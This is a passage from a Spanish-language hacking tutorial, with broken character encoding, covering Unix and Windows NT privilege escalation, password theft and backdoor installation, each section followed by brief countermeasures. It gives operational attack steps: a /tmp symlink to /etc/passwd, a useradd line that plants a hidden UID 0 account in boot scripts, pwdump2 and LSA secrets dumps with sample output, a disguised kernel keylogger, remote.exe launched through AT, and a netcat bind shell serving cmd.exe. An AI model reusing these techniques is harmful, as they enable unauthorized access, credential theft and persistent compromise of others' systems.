   ln -s /tmp/estoesunlink /etc/passwd

Luego ejecutamos alg�n xploit que aproveche un programa que escribe archivos temporales, y le indicamos que sobreescriba nuestro /tmp/estoesunlink

   ./xploitlocal < mispropiospasswords

En algunos casos estos xploits no modifican los archivos de passwords, sino que le cambian el owner a nuestro propio user ID, afectando tanto al /etc/passwd como al /etc/shadow.
Una vez que somos owner de los mismos podemos modificarlos y agregar una cuenta propia con UID 0.

Contramedidas:
Muy poco que hacer como usuario.
Los programadores deben seguir pr�cticas seguras de programaci�n, y detectar si el archivo temporal que va a escribirse ya existe, en cuyo caso deber�n utilizar otro nombre para el archivo temporal.
Una herramiente del grupo L0pht (www.l0pht.com/advisories/l0pht-watch.tar.gz) llamada L0pht Watch, permite monitorear el /tmp y controlar los programas que escriben archivos temporales.

Otro tipo de ataque aprovechaba errores en el manejo de los descriptores de archivos por parte de algunos programas.
Los file descriptors son n�meros que identifican internamente los archivos que se abren y cierran. El concepto es bastante t�cnico, pero un ejemplo de c�mo se aprovechaba tal vez sea esclarecedor.

Un programa que en una versi�n vieja sufri� de un error en el manejo de los file descriptors fue el comando chpass de OpenBSD, combin�ndolo con el uso del editor vi.
Al intentar cambiar un password con chpass, llama al vi si agregamos la siguiente variable de entorno:

   export EDITOR=vi

Al lanzar el chpass se abr�a el vi, permitiendo editar los propios datos:

#Changing user database information for testuser
Shell: /bin/sh
Full Name: Test User
Location:
Office Phone:
Home Phone: 666

Luego sal�amos a un shell desde el vi con :!sh
El error es que el shell heredaba el acceso al descriptor de archivo que ten�a el comando chpass, permitiendo escribir sobre un archivo temporal que era creado por el chpass en el /tmp. El proceso de escribir sobre el temporal se hac�a con un xploit en C creado al efecto.

Luego solamente hab�a que salir del vi, terminando el chpass, y hacer su a nuestra nueva cuenta con UID 0.

Contramedidas:
Nuevamente poco como usuario.
Los programadores deben seguir pr�cticas seguras de programaci�n y ubicar adecuadamente los file descriptors.
Como administradores tenemos la responsabilidad de informarnos sobre nuevos xploits y parchar los paquetes vulnerables.

Otro mecanismo de vulnerar el sistema es aprovechar lo que se llaman �race conditions� en las cuales un proceso normalmente de bajo privilegio (nuestro privilegio de usuario) durante un corto lapso se ejecuta con alto privilegio (usualmente root). Los xploits que aprovechan esta situaci�n son altamente dependientes del tiempo, y se activan en el momento justo en que el programa est� con alto privilegio, intentando que ejecute alg�n c�digo arbitrario: shell o creaci�n de una cuenta con UID 0.

Un buen ejemplo de una situaci�n de �race condition� potencialmente aprovechable es cuando un usuario intenta loguearse a un server FTP y termina su conexi�n inesperadamente con ABORT.

En este punto el server que intenta correr con el bajo privilegio del usuario lanza un proceso con UID 0 para poder escribir a los logs del sistema. Un xploit puede intentar abortar el proceso en ese preciso instante, luego de que se cambia a UID 0 pero antes que el usuario termine de desloguearse, con lo cual el usuario queda logueado al FTP pero con UID 0, pudiendo hacer put o get de cualquier archivo del sistema.

Obviamente las race conditions son muy cr�ticas en cuanto a tiempo, ya que la ventana de tiempo durante la cual el proceso tiene UID 0 es de milisengundos a poco menos de un segundo, pero unos cuantos intentos con un xploit bien hecho suelen dar resultados.

Un comentario personal interesante es que muchos servicios escriben a los logs del sistema, corran o no como root, de modo que cada tanto se descubre una nueva situaci�n de race condition.

Contramedidas:
Como usuario poco y nada.
Parchar cualquier vulnerabilidad que se detecte.
Los programadores deben seguir pr�cticas seguras de programaci�n.

Manipular los core dumps (archivos core) dejados por los programas que se cierran abruptamente por un error a veces brinda interesante informaci�n.

Un ejemplo de esto era una vulnerabilidad que se hab�a detectado en una versi�n vieja de telnet, a la cual se la pod�a cerrar con un error de segmentation fault envi�ndole informaci�n err�nea.

En el core dump que quedaba hab�a partes del archivo shadow.

Contramedidas:
Los core dumps le interesan a los programadores porque brindan informaci�n sobre el motivo por el cual un programa se cerr�, pero no son demasiado �tiles para los usuarios comunes, de modo que lo m�s conveniente es modificar el /etc/profile, seteando un ulimit de cero, con lo cual directamente evitaremos la creaci�n de core dumps.

El PEOR error que se puede encontrar en un sistema, y que puede abrirnos todas las puertas, es sin embargo de �ndole no tan t�cnica: permisos de archivos mal configurados.

Un buen ejemplo es cualquier archivo con permiso de escritura para other. Dado que other puede ser cualquiera, inclusive un atacante an�nimo desde Internet, el archivo podr� ser modificado. El potencial riesgo depender� obviamente de qu� archivo se trate.

Algo que no deber�a estar con este permiso jam�s es uno de los archivos de arranque (cualquiera dentro de la jerarqu�a /etc/rc.d) ya que son scripts y se ejecutan siempre como root al bootear. Uno de estos scripts modificado, tal vez con una l�nea como la siguiente, ser�a no solo peligroso, sino tambi�n dif�cil de detectar:

   /usr/sbin/useradd -p fj094jfwf -u 0 -o Juan

Que agregar� un usuario inconspicuo (Juan), preasign�ndole un password que copiaremos ya encriptado, con UID 0 (el flag -o es para poder utilizar un UID repetido, ver la man page de useradd).

Este comando en particular (con otro nombre de usuario) ha sido utilizado por mi con �xito en un par de ocasiones.

Tambi�n son peligrosos en cierta medida los archivos con SUID (para los que no hicieron la carrera Linux, hagan una copia de /bin/bash en el /tmp, activen el flag SUID, y luego ejec�tenlo como usuario com�n), ya que pueden potencialmente brindar acceso root si tienen errores o son escribibles por alguien diferente de root.

Contramedidas:
La mejor forma de estar seguro que nuestro sistema est� bien seteado es auditarlo personalmente.
Un excelente programa para el monitoreo local es el paquete COPS (est� dentro de las tools en www.securityfocus.com) que detecta cualquier tipo de vulnerabilidad de las recientemente mencionadas.
Estos tipos de errores en los paquetes de las distribuciones son notificados en BugTraq y r�pidamente corregidos por la empresa que arm� la distribuci�n, de modo que la �nica excusa para que exista un error de estos tipos en un sistema es que los administradores no se preocupen por la seguridad del mismo.

Sexto paso: Pilfer (Robo de informaci�n)

Una vez obtenida una cuenta de acceso que permita alto privilegio, el siguiente paso es obtener tanta informaci�n como sea posible para consolidad la posici�n dentro del sistema, y para poder extender el radio de acci�n a otros sistemas que sean alcanzables desde el sistema cuya seguridad fue comprometida.

Una forma obvia de obtener informaci�n potencialmente �til, y que no es dependiente del sistema operativo utilizado, es el acceso a las p�ginas de la Intranet de la empresa, donde pueden obtenerse en ocasiones datos sobre adquisiciones y fusiones que nos indicar�an otros dominios a los cuales deberemos prestar atenci�n.
Obviamente son v�lidos los conceptos mencionados en los primeros m�dulos sobre la posibilidad de que existan comentarios en el c�digo HTML que no deber�an estar all�, as� como la posibilidad de obtener emails reales, que en una Intranet se utilizan mucho en lugar de los alias.

A partir de aqu� mencionar� metodolog�as exclusivas de los dos sistemas operativos que ven�amos tratando: Windows NT y sistemas *NIX.

Windows NT

Con los pasos anteriores hemos logrado tal vez obtener alguna cuenta con privilegios administrativos en un NT Server miembro de la red, o en NT Workstation, pero nos hemos mantenido obligatoriamente alejados de los Domain Controllers dado que como usuarios normales no ten�amos la posibilidad del login interactivo en los mismos.

Ahora, con la cuenta de Server Operator que ten�a un password vulnerable porque los operadores rotaban demasiado y no se pod�a elegir un password dif�cil sin que comenzaran a olvidarlo (o peor: anotarlo en papel) podemos intentar llegar m�s lejos

El principal punto a tomar en toda red NT es el PDC (Primary Domain Controller), pero a nuestros fines sirve cualquiera de los BDC (Backup Domain Controller), ya que contienen una copia del archivo de passwords del dominio NT denominado SAM (Security Account Manager).

La SAM contiene los nombres de usuario y los passwords encriptados de todos los usuarios del dominio en los PDC y BDC. Es el equivalente en Windows del conocido /etc/passwd del mundo UNIX. A�n cuando la SAM en cuesti�n provenga de un NT Server miembro de la red (que no est� actuando ni siquiera como BDC) son altas las chances de que crackeando su SAM se obtengan datos sobre cuentas de privilegio, puesto que los operadores suelen usar muchas veces su cuenta administrativa en otras m�quinas de la red (lo cual es mala pr�ctica).

Como ya se mencion�, los passwords encriptados de la SAM ser�an mucho m�s seguros si solamente se usara el mecanismo de encriptaci�n est�ndar del Windows NT, pero las concesiones de Microsoft para compatibilidad con sistemas legacy hicieron que junto con estos passwords bien encriptados se guarden los mismos passwords, pero encriptados con el viejo algoritmo de LAN Manager.

Tomando en cuenta que herramientas como el L0phtcrack (www.l0pht.com/l0phtcrack) alegan que pueden crackear TODOS los posibles passwords alfanum�ricos utilizando simplemente un Pentium II 450 en tan s�lo 24 hs, es comprensible que el uso de passwords con el viejo mecanismo de encriptaci�n est� altamente desaconsejado. Obviamente si tenemos m�quinas con Windows 9x o 3.11 en la red no tendremos alternativa.

Hasta aqu� se puede pensar que si se logra acceso a un sistema NT con una cuenta de alto privilegio todo est� perdido. Sin embargo a�n falta obtener la SAM para poder realizar el proceso de crackeo en una m�quina remota, de tal forma de no despertar sospechas, y no preocuparse m�s por el lockeo autom�tico de las cuentas.

La SAM se guarda en un archivo llamado... SAM... en el directorio %systemroot%\system32\config, y se encuentra bloqueada (inaccesible para cualquier usuario) en tanto que el sistema est� corriendo.
Asi mismo se encuentra en la registry, es una de las secciones principales de la misma (HKEY_LOCAL_MACHINE\SAM), pero es inaccesible (a�n como Administrator) si se abre el regedit y se intenta navegar esta secci�n (m�s adelante mencionar� un m�todo para poder navegar la secci�n SAM de la registry con el regedit).

Afortunadamente Microsoft vino en ayuda del hacker, y guarda un backup comprimido de la SAM en el directorio %systemroot%\repair, llamado SAM._, que puede descompactarse con el comando DOS expand:

C:\> expand sam._ sam
Microsoft � File Expansion Utility Version 2.50
Copyright � Microsoft Corp 1990-1994. All rights reserved.

Expanding sam._ to sam.
sam._: 4545 bytes expanded to 16384 bytes, 260% increase.

Contramedidas:
Cada vez que se corra la herramienta NT Repair Disk Utility (rdisk) con el argumento /s para hacer un backup de la informaci�n clave de configuraci�n del sistema, se guardar� una copia compactada de la SAM en el directorio arriba mencionado.
Es responsabilidad del administrador borrar este archivo una vez que el rdisk lo grab� al diskette de backup (y la mayor�a no lo hace).

Otros mecanismos para obtener la SAM son:

Bootear desde un sistema operativo alternativo.

Como m�nimo diremos que es imposible si no tenemos acceso f�sico a los servers, lo cual no suele ser el caso.
Por otra parte de tener acceso f�sico no tendr�amos problemas en hacer muchas otras cosas, adem�s de copiarnos el archivo SAM a un diskette para su posterior crackeo.
Las alternativas son el programa NTFSDOS, disponible en diversos archivos de herramientas de hacking en Internet, que nos permitir� bootear con un diskette DOS y acceder al r�gido en modo read only, o cualquier minidistribuci�n de Linux m�s o menos moderna, que tambi�n tienen soporte para filesystem NTFS, siempre en modo read only.
Las implicaciones de llegar a tener modo read/write desde una minidistribuci�n Linux son terribles desde el punto de vista de seguridad, pero a�n no se ha completado el desarrollo del soporte r/w para NTFS en el kernel Linux.

Sniffing de la red.

Ya sea que uno est� como miembro local de una red que utiliza tecnolog�a shareada (hubs) o que logre instalar un sniffer (como cuando se instalan troyanos) y luego pase a �buscar los resultados�, pueden sniffearse los hashes que circulan por la red cada vez que se realice una autenticaci�n.
Por otra parte est� el truquito del mail mencionado anteriormente para recibir los hashes en la propia m�quina.
Este m�todo es prometedor, pero depende en gran parte de problemas de configuraci�n o estupidez... que sin embargo suelen ser los m�s grandes y frecuentes

Cabe mencionar que las �ltimas versiones de L0thcrack incorporan un sniffer (como si fuera poco todo lo dem�s que puede hacer

Extraer los hashes directamente de la SAM.

Una vez que se tienen privilegios administrativos, pueden bajarse los hashes de los passwords directamente desde la SAM a un archivo con un formato similar al /etc/passwd de UNIX, que podremos utilizar para alimentar posteriormente al L0phtcrack.

Para lograr esto existe una herramienta llamada pwdump, programada por Jeremy Allison, disponible en varios sites de hacking en Internet en forma de c�digo fuente y binarios precompilados para Windows. Las nuevas versiones del L0phtcrack incorporan un mecanismo interno con la misma funcionalidad que pwdump.

Sin embargo, a partir del Service Pack 2, Microsoft incorpor� una funcionalidad de encriptaci�n de la SAM, denominada SYSKEY, que impide que pwdump o L0pthcrack extraigan los hashes de la misma.

Todd Sabin program� una nueva versi�n de pwdump, denominada pwdump2 (http://www.webspan.net/~tas/pwdump2/) que permite extraer los hashes desde archivos de SAM encriptados con SYSKEY.

De la misma forma que pwdump, pwdump2 debe ser lanzado desde una cuenta con alto privilegio, y utiliza el mecanismo de inyecci�n de DLL ya mencionado cuando hablamos del getadmin. El proceso vulnerado por pwdump2 es lsass.exe (Local Security Authority Subsystem), y es necesario conocer el PID (Process ID) de lsass.exe para que pwdump2 funcione.
La forma de obtener este PID es con la herramienta pulist del NTRK.

C:\> pulist | find �lsass�
lsass.exe 50 NT AUTHORITY\SYSTEM

Ahora que conocemos el PID de 50, podemos utilizar pwdump2, que por defecto enviar� los hashes a pantalla, lo cual podemos redireccionar f�cilmente a un archivo.

Cabe mencionar nuevamente que pwdump2 debe correrse localmente en el sistema del cual deseen extraerse los passwords (de lo contrario estaremos bajando nuestros propios hashes por error!).

Existen mecanismos para ejecutar comandos remotos, algunos ya mencionados y otros que trataremos en la secci�n de troyanos y backdoors.

C:\> pwdump2 50
A. Nonymous:1039:e52cac67419... etc
ACMEPDC1$:1000:922bb2aaa0bc... etc
Administrator:500:48b48ef5635d97... etc
Guest:501:a0r150c76a1700...etc
... etc ... etc ... etc ...

En este ejemplo vemos que se obtiene el user ID, el RID, y los hashes de LanManager y NT, todos separados por ':'.

Contramedidas:
Si bien el Service Pack 2 encripta la SAM con SYSKEY para evitar herramientas tales como pwdump y L0phtcrack, no existe un parche contra la extracci�n con pwdump2 (ni siquiera en Windows 2000, salvo que toda la informaci�n se almacene en Active Directories, lo cual obliga a que toda la red sea homog�neamente Windows 2000).
Existen parches en Microsoft que permiten eliminar los passwords encriptados para LanManager, pero perderemos compatibilidad con versiones viejas de Windows.
Debe considerarse la posibilidad de utilizar switches en lugar de hubs, con lo cual por lo menos se dificultar� grandemente el uso de sniffers.

Una vez obtenidos los hashes el siguiente paso es el crackeo de los mismos, donde tenemos herramientas para elegir.

La primera de ellas es el famoso L0pthcrack, del cual existe una versi�n gr�fica en venta por US$100, y una versi�n de consola gratuita.
Como ya mencionamos L0phtcrack puede obtener los hashes de diversas fuentes: desde el archivo SAM en si, desde el archivo de backup de la SAM, desde el archivo de salida de pwdump o pwdump2, y por sniffeo de la red.

Recordemos que si el sistema tiene implementada la SAM encriptada con SYSKEY (Service Pack 2) la �nica forma de obtener los hashes ser� con pwdump2 o sniffeo.

Los mecanismos utilizados por L0pthcrack son los t�picos en este tipo de herramientas: diccionarios y ataque por fuerza bruta.
Es importante tener grandes colecciones de diccionarios (disponibles en muchos sites de hacking en Internet), ya que el crackeo por fuerza bruta puede llegar a tardar demasiado tiempo.

L0phtcrack soporta la habilidad de grabar el proceso de crackeo para poder continuar m�s tarde, y por �ltimo mencionaremos que tiene un m�todo intermedio entre los ataques por diccionario y por fuerza bruta (llamado Hybrid) que permite agregar caracteres al azar a palabras de diccionario (para passwords como �password123�

.

Los passwords nulos y las palabras de diccionario se muestran en forma casi inmediata al iniciar el proceso de crackeo. Si el sistema tiene los passwords encriptados con LanManager, inclusive los passwords m�s fuertes caer�n en 24 hs.

Otras excelente herramienta es Crack 5 con las extensiones NT.
Crack ser� comentado dentro de la secci�n UNIX, aqu� simplemente mencionar� que aplic�ndole unas extensiones puede crackear hashes de NT.

Por �ltimo la herramienta John The Ripper, que tambi�n se comentar� en la secci�n UNIX, puede crackear hashes NT.
Contramedidas:
La �nica forma de no utilizar un mecanismo vulnerable es eliminar los hashes encriptados con el algoritmo de LAN Manager.
Pueden seguirse con el Event Viewer Security Log los accesos a la SAM, que aparecer�n como eventos 560 y 562, el problema es que no hay forma de distinguir un acceso normal de un acceso con herramientas como pwdump.
Si la Gerencia no acepta los costos de migrar todas las m�quinas a NT, tal vez mostr�ndoles sus propios passwords crackeados se los pueda convencer.

Como dato anecd�tico mencionar� la forma de visualizar las keys de la registry en la secci�n SAM con el regedit, lo cual no es posible directamente.
Necesitaremos utilizar la herramienta soon del NTRK, que lo que permite es lanzar una tarea (como si fuera un at o un cron) en unos momentos.

soon regedt32 /I

El regedit que se abrir� nos permitir� recorrer la secci�n de la SAM (debe tenerse mucho cuidado, cualquier cambio accidental podr�a corromper la SAM).

La mejor forma de aprovechar la informaci�n disponible es sin embargo poco t�cnica, y consiste en aprovecharse de la confianza en que �nada malo puede pasar�, tan t�pica entre la gente de los Departamentos de IT.

En una situaci�n ideal un administrador jam�s deber�a loguearse localmente (por ejemplo en un NT Server miembro de la red) con la misma cuenta que utiliza a nivel dominio, pero estas cosas pasan.
Imag�nense las consecuencias si alguien logra penetrar este sistema hasta un nivel de Administrator local.

Contramedidas:
Establecer passwords complejos para la administraci�n del dominio y cambiarlos con frecuencia (m�ximo 30 d�as).
Implementar pol�ticas que proh�ban el uso de credenciales de nivel administraci�n de dominio en sistemas locales.
Jam�s utilizar la cuenta administrativa para otros usos.

El �ltimo mecanismo para obtener informaci�n que mencionaremos para Windows NT es robar informaci�n desde los LSA Secrets (Local Security Authority), que es donde se guardan, por ejemplo, copias de los passwords de FTP, web, cuentas dial-up para RAS, passwords de workstations para acceso al dominio, etc en un cach�.

Imaginemos un laptop utilizado por los ejecutivos de la empresa cuando salen de viaje, dado que son conscientes de la seguridad (?) no cliquean la casilla �save password� de su cuenta RAS.
Sin embargo NT guarda igualmente esta informaci�n en el cach� de los LSA Secrets.

En 1997 ya se dise�o un c�digo (puede encontrarse en BugTraq) para extraer informaci�n de los LSA Secrets, como puede verse en este ejemplo:

C:\> lsa_secr RasDialParams!S-1-5-21-1309812617-1316948193-111032338-500#0

6 5 8 6 4 8 0 1 6 0 0 6 3 * smithj super * 1 2
9 4 8 5 3 9 1 6 0 0 6 3 * # boyd sleepy1 1 2 7
2 2 1 7 1 2 1 6 0 0 6 3 * # boyd2 sleepy2! 1 4 9

Los strings entre los asteriscos son los usernames y los passwords de las conexiones dialup.

Una excelente herramienta que brinda la oportunidad de analizar los LSA Secrets es el Internet Scanner 5.6 de Internet Security Systems (http://www.iss.net).

Contramedidas:
El Service Pack 3 incorpor� un mecanismo de encriptaci�n con SYSKEY para los LSA Secrets.
En el Service Pack 5 se parch� la vulnerabilidad del cach� de passwords de RAS, que no hab�a sido parchada al encriptar los LSA Secrets.
De todas formas es importante recordar que no debe utilizarse acceso RAS si no es necesario, y lo mismo es v�lido para correo remoto y otros mecanismos.

UNIX/Linux

Obviamente para sistemas *NIX son v�lidas las consideraciones mencionadas en la secci�n de NT sobre la posibilidad de obtener cuentas de alto privilegio si se tiene acceso a los passwords.
T�picamente las versiones m�s nuevas de Linux implementan el uso de shadow passwords, removiendo los hashes del archivo world readable /etc/passwd, sin embargo es com�n encontrar sistemas viejos que a�n no lo implementaban (recordar que Red Hat incorpor� shadow passwords y encriptaci�n MD5 reci�n en el release 6.0).

A�n cuando no se puedan obtener los hashes, a veces hay informaci�n �til en el /etc/passwd, tal como el campo GECOS ya mencionado, y la lista de todos los user ID del sistema.

Como ya dijimos a veces puede obtenerse el /etc/shadow mediante xploits, ya sea directamente o luego de obtener root.
Uno podr�a preguntarse qu� utilidad tiene seguir m�s all� luego de tener root. Sucede que a veces una de las personas que es usuario en un determinado sistema es administrador o tiene alto privilegio en otro, por lo tanto es importante conocer todos los passwords.

Un ejemplo real de esto, y de mi experiencia personal, era la existencia de una cuenta de mantenimiento web en un sistema, que correspond�a a alguien con alto privilegio en el sistema del ISP.

Otro m�todo para la obtenci�n de passwords es el sniffeo de las conexiones sobre una topolog�a de red shareada con hubs, y en el caso del telnet los passwords viajar�n por la red SIN ENCRIPTACION.

El mecanismo utilizado para encriptar los passwords en los archivos /etc/passwd o /etc/shadow antiguamente era un algoritmo denominado crypt, con base en el DES, que recientemente fu� cambiado por otro mecanismo mucho mejor denominado MD5 que es mucho m�s dif�cil de crackear (en realidad adivinar).
Es sencillo viendo los hashes determinar si utilizan MD5 o no. Los hashes MD5 comienzan siempre con $1, mientras que los de crypt no ten�an ning�n inicio en particular.

Existe un tercer tipo de encriptaci�n denominado blowfish (no demasiado extendido, sin embargo es el que usa el Nessus) distinguible porque los hashes comienzan con $2.

La �nica diferencia para los crackeadores ser� el tiempo necesario para crackearlos, ya que la mayor�a soporta diversos mecanismos.

Los crackeadores m�s comunes son Crack 5 (disponible en archivos de herramientas de hacking en Internet) y John The Ripper (http://www.false.com/security/john), ambos disponen de una versi�n para Linux, siempre en formato de c�digo fuente que debe ser compilado en el sistema local.
John The Ripper inclusive toma ventaja de las extensiones MMX si el procesador las soporta.

Estos crackeadores permiten el uso de diccionarios as� como fuerza bruta para el crackeo.

Cabe destacar sin embargo que el uso de fuerza bruta sobre passwords MD5 puede ser imposible en un lapso de tiempo razonable si el password es suficientemente largo, lo cual es una ventaja sobre Windows NT (si est� utilizando los passwords encriptados seg�n LAN Manager, que caen en 24 hs).

Nuevamente los passwords triviales o nulos son detectados en forma casi inmediata, cayendo luego las palabras de diccionario.

Contramedidas:
Auditar los passwords y cambiar aquellos que resulten crackeados en un per�odo razonable.
Implementar pol�ticas para que los passwords tengan una longitud m�nima e incorporen d�gitos.
Utilizar tanto shadow passwords como encriptaci�n MD5 a toda costa, ambos dificultar�n la tarea de obtenci�n de passwords de cuentas de alto privilegio en otro sistema.
No utilizar telner para accesos remotos. De ser necesario utilizar SSH (Secure Shell), que encripta las conexiones.

Muchas veces tambien se obtienen datos interesantes leyendo los logs del sistema, como IDs de usuarios, horarios en los cuales suelen estar activos, si conocen o no el password de root (nos daremos cuenta si usualmente utilizan el 'su'), etc.

Un pasaje por el home directory de los usuarios que conocen el password de root tal vez brinde informaci�n adicional. A veces la memoria falla y los usuarios graban el password en un archivo de texto plano en su directorio personal (porque all� estar� seguro y nadie puede verlo

Contramedidas:

Educar a los usuarios, en particular a aquellos que conocen el password de root (que no deber�a ser nadie m�s que el administrador), sobre el peligro de almacenar el password fuera de su memoria.

Consideraciones Generales (para cualquier sistema)

Lo que vimos aqu� es la punta de iceberg, todo apuntando a obtener m�s informaci�n para proseguir la penetraci�n de la seguridad de una red.

Obviamente cuando existan determinados intereses, tal vez en una informaci�n en particular, los mecanismos aqu� mencionados no se utilicen, sino que directamente se tome la informaci�n deseada ni bien se logre acceso como administrador.

No es mi intenci�n mencionar vulnerabilidades particulares de sistemas tales como bases de datos, solo mencionar� que existen, y que con las direcciones en Internet brindadas hasta aqu� no deber�a ser un problema encontrar informaci�n sobre la violaci�n de seguridad de aplicaciones tales como el Office, bases de datos SQL y otras aplicaciones com�nmente utilizadas.

S�ptimo paso: Install Back Doors (Instalar puertas traseras)

Es muy importante una vez obtenidos altos privilegios dentro de un sistema con mecanismos altamente sofisticados dejar abierta la posibilidad de ingresar nuevamente de una manera m�s simple. No es adecuado tener que ejecutar un xploit local cada vez que queramos realizar tareas, en parte porque implicar� dejar el c�digo del xploit en la m�quina remota y en parte porque implicar�a seguir accediendo con una cuenta comprometida, facilitando nuestro rastreo a trav�s de los logs del sistema.

Con este fin los atacantes suelen dejar lo que se denominan backdoors (puertas traseras) para obtener ingreso f�cil y r�pido a un sistema comprometido.

Algunos de estos mecanismos de back door solamente brindan el acceso, pero hay algunos que adem�s hacen que seamos virtualmente indetectables luego de ingresar por uno de ellos.

Una categor�a que incluiremos aqu� es el uso de troyanos, que si bien no son necesariamente programas de backdoor nos brindar�n diversas funcionalidades, as� como la instalaci�n de sniffers y keystroke loggers con el fin de colectar m�s informaci�n.
Imaginemos el caso de haber obtenido acceso a trav�s de una cuenta con un passwords trivial, y encontrarnos de pronto con que dicho password fue cambiado o removido del sistema. Si no contamos con nuestra "puerta trasera" estaremos efectivamente donde empezamos.

Windows NT

Luego de comprometida la seguridad de una red NT pueden instalarse diferentes sistemas, ya sea para obtener m�s f�cil acceso, o solamente con el fin de capturar siempre m�s y m�s informaci�n.

Dentro de estos �ltimos casos tenemos el uso de los programas denominados globalmente keystroke loggers, que se encargan de registrar todas y cada una de las teclas que se presionan en el sistema y almacenarlas en un archivo inconspicuo que ser� retirado por nosotros peri�dicamente para monitorear la actividad, y eventualmente capturar nuevos passwords, etc.

Uno de los mejores programas dentro de esta categor�a es el Invisible Key Logger Stealth (IKS) para Windows NT (http://www.amecisco.com/iksnt.htm), un programa comercial con un precio cercano a los US$150.

Desde el punto de vista t�cnico el IKS es un driver de teclado modificado que corre en el espacio del c�digo kernel de NT. Es virtualmente invisible, siendo su �nica manifestaci�n un archivo que va creciendo paulatinamente donde est�n siendo almacenadas las teclas pulsadas. IKS inclusive loguea los CTRL-ALT-DEL, permitiendo ubicar f�cilmente los logins al sistema, cambios de password, etc.

Usualmente el intruso renombrar� el archivo iks.sys (el driver del IKS) a algo inconspicuo, como por ejemplo scsi.sys (nadie borrar�a algo as�

.

Para instalarlo necesitaremos modificar la registry manualmente o utilizar la herramienta regini.exe del NTRK, que se encargar� de cargar el archivo iks.reg que contiene las modificaciones necesarias en forma pr�cticamente autom�tica.

Luego de instalado es necesario realizar un shutdown, que eventualmente puede forzarse con un ataque DoS (el administrador tendr� que reiniciar el server si aparece una blue screen, y probablemente no sospeche nada).

Otra forma de ocasionar un shutdown remoto es con la herramienta shutdown.exe del NTRK.

El archivo donde se guardar�n las teclas presionadas se llama originalmente iks.dat, pero puede renombrarse indicando otro nombre en la registry.

Este archivo est� encriptado, para preservarlo de un curioso casual. Para poder visualizarlo necesitaremos de la herramienta datview que viene incluida en el paquete IKS.

Contramedidas:
Suele ser dificultoso detectar los keystroke loggers, porque su infiltraci�n en el sistema es realmente de muy bajo nivel.
Es importante auditar peri�dicamente la registry en busca de keys que antes no estaban all�.
Si se revisan las Properties de los archivos, puede detectarse el IKS porque mirando la solapa Version indica "IKS NT 4 Device Driver", con un nombre interno de "iksnt.sys".

Un comando interesante para tener en el sistema comprometido es alguno que nos permita la ejecuci�n de c�digo en forma remota en el espacio de memoria del servidor.
Windows NT no tiene ning�n mecanismo est�ndar para esto, pero como es usual el paquete NTRK viene en nuestra ayuda.

En el NTRK tenemos la Remote Command Line (remote.exe) y el Remote Command Service (rcmd.exe y rcmdsvc.exe, el cliente y el server, respectivamente).
Estas herramientas solamente vienen incluidas en la versi�n server del NTRK.

La m�s sencilla de instalar y utilizar es el remote.exe, que puede lanzarse como cliente o como servidor simplemente desde la l�nea de comandos:

   remote.exe /C   cliente
   remote.exe /S   server

Obviamente se presenta una situaci�n de qu� fue antes, el huevo o la gallina, ya que para utilizar remote.exe necesitamos que haya sido lanzado previamente como server en el sistema comprometido, pero con los mecanismos mencionados hasta aqu� puede llegar a encontrarse una vulnerabilidad a aprovechar, tal como un script que se ejecute durante el arranque.

Otra posibilidad es copiar el remote.exe al share C$ como Administrator, dentro del directorio %systemroot%\system32, y lanzarlo con un comando AT siempre que el Schedule Service est� corriendo en el servidor remoto. Para lograr insertar nuestro comando en el AT, podemos utilizar otra herramienta del NTRK, llamada sc.exe o Service Controller.

C:\> sc \\192.168.202.44 start schedule

SERVICE_NAME: schedule
   TYPE            : 10   WIN32_OWN_PROCESS
   STATE            : 2   START_PENDING
         (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
   WIN32_EXIT_CODE      : 0   (0x0)
   SERVICE_EXIT_CODE   : 0   (0x0)
   CHECKPOINT         : 0x0
   WAIT_HINT         : 0x7d0

C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 es 5/09/00 10:38 PM

The command completed successfully.

Ahora puede utilizarse la sintaxis remota de AT para lanzar el remote.exe en su versi�n server en dos minutos a partir de ahora.

C:\> at \\192.168.202.44 10:40P ""remote /s cmd secret""
Added a new job with job ID = 2

C:\> at \\192.168.202.44
Status   ID   Day      Time      Command Line
----------------------------------------------------------
      2   Today      10:40 PM   remote /s cmd secret

Cuando el comando se ejecute, el trabajo se eliminar� de la lista de comandos en el AT y el servidor estar� corriendo.

Con el uso de remote.exe en el cliente podremos hacer uso felizmente de su funcionalidad.

Los detalles sobre el uso de remote.exe se encuentran en la documentaci�n del NTRK.

Otra forma de obtener acceso a la ejecuci�n remota de comandos es mediante la versi�n Windows del comando NetCat.

Simplemente debe configurarse un NetCat para escuchar en un puerto determinado, y lanzar un comando cuando se lo contacte. Si se configura para lanzar un int�rprete de comandos, puede configur�rselo para que se lance a la m�quina del atacante:

C:\temp\nc11nt> nc -L -d -e cmd.exe -p 8080

El siguiente ejemplo retornar� un shell de comandos a cualquier intruso que se conecte al puerto 8080. Desde nuestro lado tendremos que configurar un netcat para poder recibir el shell remoto.

Para distinguir bien en qu� m�quina estamos parados, el ejemplo utiliza el drive D: para la m�quina local y el drive C: para el servidor remoto.

D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:\temp\nc11nt> ipconfig
ipconfig

Windows NT IP Configuration

Ethernet adapter FEM5561:

   IP Address. . . . . . . . . : 192.168.202.44
   Subnet Mask . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . :

C:\temp\nc11nt> exit

D:\>

Y con esto podremos utilizar el shell como si estuvi�ramos en forma local.
Contramedidas:
Deben monitorearse peri�dicamente los comandos residentes y los que se encuentran en listas de ejecuci�n temporizada como el AT.
Debe realizarse un port scan y detectar puertos abiertos que no deber�an estarlo.

Troyanos

NetBus
Este programa (www.netbus.org) permite la conexi�n a sistemas Windows 9x y NT desde su versi�n Pro 2.0 a principios de 1999. Asimismo desde esta versi�n tiene un costo de US$15 (originalmente era una herramienta free).

NetBus es una aplicaci�n cliente/servidor, de modo que necesitamos que el server est� corriendo en la m�quina remota para poder utilizarlo.

El server se llama NBSVR.EXE, pero obviamente puede renombrarse.
En nuestro sistema utilizaremos el cliente (NETBUS.EXE) para conectarnos.

Dentro de sus m�ltiples funcionalidades, las m�s �tiles para los atacantes son la posibilidad de hacer reboot y el logueo de teclas.

Si bien el NetBus incorpora la funcionalidad de monitorear el entorno gr�fico remoto, no es muy bueno para eso (el VNC que mencionaremos luego es mucho mejor).

Contramedidas:
Dado que los troyanos suelen distribuirse como un programa aparentemente inocuo utilizando el email, es MUY importante no ejecutar ning�n c�digo. Esto debe ser tenido especialmente en cuenta en los servidores.
